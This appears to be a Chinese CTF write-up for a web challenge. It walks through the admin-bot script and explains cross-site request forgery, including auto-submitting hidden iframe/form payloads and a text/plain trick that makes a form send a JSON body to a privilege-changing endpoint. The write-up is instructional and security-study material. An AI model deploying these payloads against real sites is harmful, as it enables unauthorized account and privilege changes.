0x00 前言
由于题目名字的关系一开始只想着是cors漏洞了
这个一开始雀氏没接触过
所以就一直在研究 当然最后证实只是一个csrf…
看看大佬的文章扫扫盲
CORS跨域漏洞的学习
(freebuff这篇讲的比较通透
cors安全完全指南
拾人牙慧一下
重点就是服务器返回响应包的头
Access-Control-Allow-Origin : 允许访问的源有哪些 对应请求包中的origin头
Access-Control-Allow-Credentials :是否允许带上cookie访问资源
题目附件一个js
一开始以为report那的三个url真是用来报告bug的… 没想到就是配着js看的
很像portswigger的oauth靶场
模拟admin登录并点击url
const opt = {
name: "fxxkcors",
router: "fxxkcors",
site: process.env.FXXK_SITE ?? "",
}
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
const visit = async (browser, url) =>{
let site = process.env.FXXK_SITE ?? ""
console.log(`[+]${opt.name}: ${url}`)
let renderOpt = {...opt}
try {
const loginpage = await browser.newPage()
await loginpage.goto(site)
await loginpage.type("input[name=username]", "admin")
await loginpage.type("input[name=password]", process.env.FXXK_ADMIN_PASS ?? "")
await Promise.all([
loginpage.click('button[name=submit]'),
loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
])
await loginpage.goto("about:blank")
await loginpage.close()
const page = await browser.newPage()
await page.goto(url, {waitUntil: 'networkidle0', timeout: 2000})
await delay(2000) /// waiting 2 second.
console.log(await page.evaluate(() => document.documentElement.outerHTML))
}catch (e) {
console.log(e)
renderOpt.message = "error occurred"
return renderOpt
}
renderOpt.message = "admin will view your report soon"
return renderOpt
}
module.exports = {
opt:opt,
visit:visit
}
在题目多个地方截包都没看到Access-Control-Allow-*的返回头…
就意识到不对劲
不过csrf考察的并不是很多
0x01 brain.md
一个简易的loginpage
任意用户都能直接注册并登录(除了admin
随便搞个用户
只有normal admin能看到flag
进主页之后看到这里还是比较显眼的
注意… 定语从句
u want the person to be an normal admin
当然我们肯定自己没权限
拦一下看到json
另一个report界面
显然是让我们贴url的
补充一下一篇写的很好的csrf
csrf浅谈
我们的目的就是要admin账户帮我们向changeapi.php post我们自己的账号
那么刚好就能用到跨站域请求伪造
当然再回头看一下我们post的包,发现这像敏感操作并没有携带token校验
这也证实了这是个可利用点
当我们需要发送post请求时,就可以利用表单的方式
iframe直接内联框架嵌入 并且不做展示
再通过js自动提交 不知不觉中触发表单
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='https://small-min.blog.com/delete' target="csrf-frame" id="csrf-form">
<input type='hidden' name='id' value='3'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
form中的target属性指定了在不做显示的iframe中打开action的url,所以表面上不会产生任何变化
開一個看不見的 iframe,讓 form submit 之後的結果出現在 iframe 裡面,而且這個 form 還可以自動 submit,完全不需要任何操作。
关于iframe和form的联用
若用json传输
<form action="https://small-min.blog.com/delete" method="post" enctype="text/plain">
<input name='{"id":3, "ignore_me":"' value='test"}' type='hidden'>
<input type="submit"
value="delete!"/>
</form>
這樣子會產生如下的 request body:
{ “id”: 3,
“ignore_me”: “=test”
}
第二个键值对ignore_me是为了规避 = 号的干扰
但這邊值得注意的一點是,form能夠帶的 content type
只有三種:application/x-www-form-urlencoded, multipart/form-data 跟
text/plain。在上面的攻擊中我們用的是最後一種,text/plain,如果你在你的後端 Server 有檢查這個 content
type 的話,是可以避免掉上面這個攻擊的。
回到题目中
有了上述的铺垫,我们就可以直接在VPS构造恶意页面
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://124.71.205.122:10002/changeapi.php' target="csrf-frame" id="csrf-form" enctype="text/plain">
<input type='hidden' name='{"username":"kidult", "abc":"' value='123"}'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
这里有个小坑
当使用iframe跨域提交表单时会触发浏览器安全策略造成cookie丢失
iframe 跨域访问session/cookie丢失问题解决方法
iframe 跨域传递 cookie
比赛环境下 我们要去掉iframe
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://124.71.205.122:10002/changeapi.php' id="csrf-form" enctype="text/plain">
<input type='hidden' name='{"username":"kidult", "abc":"' value='123"}'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
0x02 rethink
自己挖的坑自己填